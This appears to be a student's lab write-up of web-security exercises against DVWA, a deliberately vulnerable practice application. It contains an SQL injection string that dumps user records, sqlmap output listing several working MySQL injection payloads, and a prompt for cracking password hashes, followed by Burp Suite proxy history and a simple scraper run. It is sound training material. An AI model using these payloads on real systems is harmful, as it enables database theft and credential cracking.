


# CS\_task\_2



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## Vulnerability: SQL Injection

User ID:

ID: 1' OR '1'='1  
First name: admin  
Surname: admin

ID: 1' OR '1'='1  
First name: Gordon  
Surname: Brown

ID: 1' OR '1'='1  
First name: Hack  
Surname: Me

ID: 1' OR '1'='1  
First name: Pablo  
Surname: Picasso

ID: 1' OR '1'='1  
First name: Bob  
Surname: Smith

### More Information

- [https://en.wikipedia.org/wiki/SQL\\_injection](https://en.wikipedia.org/wiki/SQL_injection)
- <https://www.netparker.com/blog/web-security/sql-injection-cheat-sheet/>
- [https://owasp.org/www-community/attacks/SQL\\_injection](https://owasp.org/www-community/attacks/SQL_injection)
- <https://bobby-tables.com/>

[illegible]

```
Command Prompt x Windows PowerShell x Windows PowerShell x Windows PowerShell x + v
[*] starting @ 20:46:38 /2025-03-15/
[20:46:38] [INFO] resuming back-end DBMS 'mysql'
[20:46:38] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
----
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=1' OR NOT 5176=5176#&Submit=Submit

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 6796 FROM(SELECT COUNT(*),CONCAT(0x7162717071,(SELECT (ELT(6796=6796,1))) ,0x716a787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SC
HEMA.PLUGINS GROUP BY x)a)-- utNi&Submit=Submit

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1875 FROM (SELECT(SLEEP(5)))xusZ)-- EOfQ&Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x7162717071,0x46746b71486d776d50456d70434a4b49796f54677a69625055436274755957647879636c6a527674,0x716a787071
)#&Submit=Submit
----
[20:46:39] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.58, PHP 8.2.12
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[20:46:39] [INFO] fetching columns for table 'users' in database 'dvwa'
[20:46:39] [WARNING] reflective value(s) found and filtering out
[20:46:39] [INFO] fetching entries for table 'users' in database 'dvwa'
[20:46:39] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[20:50:38] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file 'C:\Users\pc xpertz\AppData\Local\Programs\Python\Python313\Lib\site-packages\sqlmap\data\txt\wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[20:51:17] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
```

# Burp suite

Burp Suite Community Edition v2025.1.4 - Temporary Project															
Dashboard Target Proxy Intruder Repeater View Help															
Intercept HTTP history WebSockets history Match and replace Proxy settings															
Filter settings: Hiding CSS, image and general binary content															
#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title	Notes	TLS	IP	Cookies	Time
1	https://www.google.com	GET	/search?q=PROXY&oq=PROXY&gt;...		✓							✓	142.250.192.228		22:53:51 15 ... 8080
2	http://www.gstatic.com	GET	/generate_204										142.250.193.67		23:08:22 15 ... 8080
3	http://www.msftconnecttest.com	GET	/connecttest.txt					text	txt				194.27.197.17		23:09:45 15 ... 8080
4	http://ipv6.msftconnecttest.com	GET	/connecttest.txt					text	txt				unknown host		23:09:45 15 ... 8080
5	http://ipv6.msftconnecttest.com	GET	/connecttest.txt					text	txt				unknown host		23:10:20 15 ... 8080
6	http://www.msftncsi.com	GET	/connecttest.txt					text	txt				194.27.197.19		23:12:07 15 ... 8080
7	http://ipv6.msftncsi.com	GET	/connecttest.txt					text	txt				unknown host		23:12:07 15 ... 8080
8	http://ipv6.msftncsi.com	GET	/connecttest.txt					text	txt				unknown host		23:13:17 15 ... 8080

Event log (24) All issues

Memory: 132.5MB

# Web scrapping

```
Command Prompt

<form action="login.php" meth

C:\Users\pc xpertz> pip install beautifulsoup4 requests
Requirement already satisfied: beautifulsoup4 in c:\users\pc xpertz\appdata\local\programs\python\python313\lib\site-packages (4.13.3)
Requirement already satisfied: requests in c:\users\pc xpertz\appdata\local\programs\python\python313\lib\site-packages (2.32.3)
Requirement already satisfied: soupsieve>1.2 in c:\users\pc xpertz\appdata\local\programs\python\python313\lib\site-packages (from beautifulsoup4) (2.6)
Requirement already satisfied: typing-extensions>=4.0.0 in c:\users\pc xpertz\appdata\local\programs\python\python313\lib\site-packages (from beautifulsoup4) (4.12.2)
Requirement already satisfied: charset-normalizer<4,>=2 in c:\users\pc xpertz\appdata\local\programs\python\python313\lib\site-packages (from requests) (3.4.1)
Requirement already satisfied: idna<4,>=2.5 in c:\users\pc xpertz\appdata\local\programs\python\python313\lib\site-packages (from requests) (3.10)
Requirement already satisfied: urllib3<3,>=1.21.1 in c:\users\pc xpertz\appdata\local\programs\python\python313\lib\site-packages (from requests) (2.3.0)
Requirement already satisfied: certifi>=2017.4.17 in c:\users\pc xpertz\appdata\local\programs\python\python313\lib\site-packages (from requests) (2025.1.31)

[notice] A new release of pip is available: 24.3.1 -> 25.0.1
[notice] To update, run: python.exe -m pip install --upgrade pip

C:\Users\pc xpertz> python web_scraper.py
Top News Headlines:

Scraped data saved to scraped_data.txt

C:\Users\pc xpertz>
```



